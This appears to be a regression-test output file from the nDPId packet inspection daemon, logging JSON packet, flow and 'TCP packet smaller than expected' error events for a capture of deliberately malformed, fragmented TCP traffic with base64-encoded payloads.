-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653310} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653322} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653337} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653349} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653360} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653377} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653389} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653400} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653414} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653426} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244028653442} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":4382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkAkJV5IQkdW"} 00764{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":15,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244028953588,"flow_src_last_pkt_time":1534244028953588,"flow_dst_last_pkt_time":1534244028953588,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":4,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":4,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244028953588,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":2612,"dst_port":12849,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_src_last_pkt_time":1534244028953588,"flow_dst_last_pkt_time":1534244028953588,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSh91wAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953636} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953643} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953651} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953660} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":4387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953668} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953678} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953686} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953695} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953741} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953749} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953756} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953764} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953772} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953779} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953787} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953799} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953807} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953816} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953824} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953831} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953838} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953846} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953857} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953865} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953873} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953884} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953896} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953907} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953914} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953921} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028953928} 